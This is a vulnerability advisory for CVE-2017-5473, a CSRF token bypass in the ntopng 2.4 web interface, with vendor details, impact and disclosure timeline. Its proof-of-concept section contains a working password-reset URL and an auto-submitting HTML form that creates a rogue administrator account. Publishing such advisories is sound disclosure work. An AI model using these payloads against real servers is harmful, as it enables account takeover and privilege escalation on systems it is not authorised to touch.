NTOPNG 2.4 Web Interface - Cross-Site Request Forgery

[+]#####################################################################################

[+] Credits / Discovery: John Page AKA Hyp3rlinX

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/NTOPNG-CSRF-TOKEN-BYPASS.txt

[+] ISR: ApparitionSEC

[+]#####################################################################################







Vendor:

============

www.ntop.org





Product:

====================

ntopng Web Interface

v2.4.160627



ntopng is the next generation version of the original ntop, a network

traffic probe that shows the network usage, similar

to what the popular top Unix command does. ntopng is based on libpcap and

it has been written in a portable way in order to

virtually run on every Unix platform, MacOSX and on Windows as well.





Vulnerability Type:

==================

CSRF Token Bypass







CVE Reference:

================

CVE-2017-5473







Security Issue:

=================

By simply omitting the CSRF token or supplying arbitrary token values will

bypass CSRF protection when making HTTP requests,

to the ntopng web interface. Allowing remote attackers the rights to make

HTTP requests on an authenticated users behalf, if

the user clicks an malicious link or visits an attacker webpage etc.





Exploit/POC:

============



1) Change admin password

http://VICTIM-SERVER:3000/lua/admin/password_reset.lua?csrf=NOT-EVEN-CHECKED&username=admin&new_password=xyz123&confirm_new_password=xyz123





2) Add arbitrary



<form action="

http://VICTIM-SERVER:3000/lua/admin/add_user.lua?csrf=NOT-EVEN-CHECKED"

method="GET">

<input type="hidden" name="username"  value="hyp3rlinx">

<input type="hidden" name="full_name"  value="TheApparitioN">

<input type="hidden" name="password"  value="abc123">

<input type="hidden" name="confirm_password"  value="abc123">

<input type="hidden" name="host_role"  value="administrator">

<input type="hidden" name="allowed_networks"  value="0.0.0.0/,::/">

<input type="hidden" name="allowed_interface"  value="HTTP/1.1">

<script>document.forms[0].submit()</script>

</form>







Disclosure Timeline:

=====================

Vendor Notification: January 11, 2017

Vendor acknowledgement: January 12, 2017

Vendor Fixed Issue

January 20, 2017 : Public Disclosure







Network Access:

===============

Remote





Impact:

======================

Information Disclosure

Privilege Escalation







Severity:

===========

High







[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no

warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory,

provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in

vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the

information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author

prohibits any malicious use of security related information

or exploits by the author or elsewhere.  All content (c) HYP3RLINX -

Apparition